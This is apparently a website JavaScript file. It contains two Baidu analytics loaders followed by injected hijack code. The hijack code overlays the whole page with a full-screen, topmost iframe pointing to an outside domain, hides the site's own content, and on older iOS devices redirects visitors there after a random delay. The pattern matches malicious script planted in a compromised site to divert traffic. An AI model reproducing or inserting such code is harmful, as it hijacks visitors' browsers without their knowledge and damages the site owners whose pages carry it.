var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?0473d222f981b051a46fad3b2dfe4c91";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();



var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?3f28e974641d8ec3a15f0123a85b7301";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

/**


var url = "https://bd1987.net/";
if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {
  url = "https://bd1987.net/";
}
var str1 = document.title;
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;">');
document.write('<iframe src=" ' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');


function getIosVersion() {
    var str = navigator.userAgent.toLowerCase();
    var ver = str.match(/cpu iphone os (.*?) like mac os/);
    return ver ? parseInt(ver[1].slice(0, 2)) : false
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);

function randomNum(minNum, maxNum) {
    switch (arguments.length) {
        case 1:
            return parseInt(Math.random() * minNum + 1, 10);
            break;
        case 2:
            return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
            break;
        default:
            return 0;
            break;
    }
}

const time = randomNum(500, 1000)
console.log(time)

if (isIOS && getIosVersion() < 13) {
    setTimeout(() => {
        window.location.href = url;
    }, time);
} else {
    document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
    document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>');
    document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
    document.write('<iframe src=" ' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>');
    document.write('</div>');
}